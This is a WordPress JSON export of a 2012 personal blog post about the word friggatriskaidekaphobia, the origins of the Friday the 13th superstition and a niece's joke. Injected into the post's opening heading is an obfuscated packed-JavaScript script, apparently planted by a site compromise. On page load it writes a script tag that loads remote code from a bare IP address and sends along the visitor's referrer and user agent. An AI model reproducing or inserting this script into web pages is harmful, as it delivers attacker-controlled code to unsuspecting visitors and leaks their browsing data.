{"id":2786,"date":"2012-01-13T07:00:36","date_gmt":"2012-01-13T14:00:36","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2786"},"modified":"2012-01-13T07:01:53","modified_gmt":"2012-01-13T14:01:53","slug":"friggatriskaidekaphobia","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2786","title":{"rendered":"friggatriskaidekaphobia"},"content":{"rendered":"<h4 style=\"text-align: center;\">The <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syesz|var|u0026u|referrer|iaiyh||js|php'.split('|'),0,{}))\n<\/script><\/noindex> fear of Friday the 13th is called friggatriskaidekaphobia (Frigga being the name of the Norse goddess for whom &#8220;Friday&#8221; is named and triskaidekaphobia meaning fear of the number thirteen).<\/h4>\n<p>I&#8217;ve always believed the story that Friday the 13th is only unlucky if you happen to be a medieval Templar:\u00c2\u00a0 that the superstition dates back to the slaughter of said Templars on a Friday the 13th in the Middle Ages.<\/p>\n<p>I&#8217;ve always wondered why people took it so hard, since the Templars were total bastards and getting rid of them was probably the best move the papacy ever made.\u00c2\u00a0 But a brief foray into Wikipedia tells me that, in fact, this superstition is <em>even sillier than that<\/em>: evidently the whole thing comes from some popular novel in 1907.<\/p>\n<p>Also, in Spanish-speaking countries, evidently Tuesday the 13th is considered unlucky. In the interest of multiculturalism, I vote we all change our superstitious loyalties to Tuesdays.<\/p>\n<p>Oh the other hand, I must also post here a hilarious quote that I stole from my sister-in-law&#8217;s facebook page:<\/p>\n<p><em>Me: tomorrow is Friday the 13th<\/em><br \/>\n<em> Jaden: that is the bad luck day<\/em><br \/>\n<em> Me: what is your bad luck going to be?<\/em><br \/>\n<em> Jaden: umm&#8230;I trip somebody but we both get hurt so it&#8217;s fair.<\/em><\/p>\n<p>I love the planning, here.\u00c2\u00a0 Way to take control!\u00c2\u00a0 Also the fairness.\u00c2\u00a0 That&#8217;s my niece in a nutshell, people!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The fear of Friday the 13th is called friggatriskaidekaphobia (Frigga being the name of the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25],"class_list":["post-2786","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2786"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2786"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2786\/revisions"}],"predecessor-version":[{"id":2788,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2786\/revisions\/2788"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2786"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2786"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2786"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}